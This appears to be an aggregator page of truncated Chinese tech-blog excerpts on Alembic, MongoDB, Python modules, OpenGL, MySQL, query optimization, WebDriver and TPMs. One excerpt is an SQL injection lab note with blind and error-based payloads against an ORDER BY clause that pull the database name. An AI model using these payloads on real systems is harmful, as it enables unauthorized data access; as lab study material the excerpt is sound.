常用命令:1.init:创建一个alembic仓库2.reversion:创建一个新的版本3.--autogenerate:自动将当前模型的修改,生成迁移脚本4.-m:message,可以记录本次迁移做了哪些修改,5.upgrade:将指定版本的迁移文件映射到数据库中,会执行版本文件中的upgrade函数,如果有多个迁移脚本没有被映射到数据库,name会执行多个映射脚本6.head:代表最新的迁移脚本的版本号7.downgrade:会执行指定版本的迁移文件中的downgrade函数8.heads…
面向文档的 NoSQL 数据库主要解决的问题不是高性能的并发读写,而是保证海量数据存储的同时,具有良好的查询性能.  条件操作符 <, <=, >, >=  这个操作符就不用多解释了,最常用也是最简单的  db.collection.find({ "field" : { $gt: value } } );    //  大于:    field > value  db.collection.find({ "field" : { $lt:…
十八. Python基础(18)常用模块 1 ● 常用模块及其用途 collections模块: 一些扩展的数据类型→Counter, deque, defaultdict, namedtuple, OrderedDict time模块: 三种时间表示方法的转换 案例: 计算时间差 random模块: ① random.random() ② random.randint(1,5) ③ random.choice([1,'23',[4,5]]) ④ random.sample([1,'23',[4…
转自[翻译]NeHe OpenGL 教程 前言 声明,此 NeHe OpenGL教程系列文章由51博客yarin翻译(2010-08-19),本博客为转载并稍加整理与修改.对NeHe的OpenGL管线教程的编写,以及yarn的翻译整理表示感谢. NeHe OpenGL第四十八课:轨迹球 轨迹球实现的鼠标旋转 使用鼠标旋转物体,很简单也有很多实现方法,这里我们教会你模拟轨迹球来实现它.   轨迹球控制 By Terence J. Grant (tjgrant@tatewake.com) 如果只用鼠…
0x1 源码区别点 将id变为字符型:$sql = "SELECT * FROM users ORDER BY '$id'"; 0x2实例测试 (1)and rand相结合的方式 payload: http:' and rand(ascii(left(database(),1))=116)--+ (2)利用报错的方式进行 http:' and (select 1 from(select count(*),concat(0x5c,database(),0x5c,floor(rand(0)…
现在基本没有什么能离得开数据库了,django我一直用的都是mysql的数据库,这次和大家说说django--mysql数据库的一些常用命令吧 1:命令行登陆mysql C:\Users\Administrator>mysql -uroot -p Enter password: ******** 2:创建一个新的数据库并使用它 mysql> create database t; Query OK, row affected (0.02 sec) mysql> use t; Databas…
(十四--十五)数据库查询优化Part I 如果理解的有问题.欢迎大家指出.这也是我在看课记得笔记..可能会有很多问题 查询优化的重要性 请记住用户只会告诉DMBS他们想要什么样的结果,而不会告诉他们如何获得结果 不同的查询plan性能上会有非常大的差距.[比如之前的nested join 和 index join] 1. Heuristics / Rules策略 这一策略侧重于重构那些愚蠢的sql语句 注意这里的Logical Plan和Physical Plan是不同的 在第一个阶段我们会重…
1.简介 webdriver有三种判断元素状态的方法,分别是isEnabled,isSelected 和 isDisplayed,其中isSelected在前面的内容中已经简单的介绍了,isSelected表示查看元素是否被选中,一般用在勾选框中(多选或者单选),isDisplayed表示查看选中是否可见.isEnabled表示查什么呢?isEnabled表示查看元素是否可以进行操作,比如,点击,输入等. 2.isEnabled()源码 /** * Is the element currentl…
第四十八个知识点:TPM的目的和使用方法 在检查TPM目的之前,值得去尝试理解TPM设计出来的目的是为了克服什么样的问题.真正的问题是信任.信任什么?首先内存和软件运行在电脑上.这些东西能直接的通过操作系统进行获取,因此能在操作系统层级的攻击者可以访问秘密信息(例如安全密钥).:如果这些密钥直接存储在内存中,并被软件访问,那么攻击者很容易从存储密钥的内存位置读取密钥,从而危害安全性. 围绕这一问题的一个方案是确保密钥不会直接存储在可以被软件访问的计算机内存中.考虑到密钥对于安全应用程序是必需的,…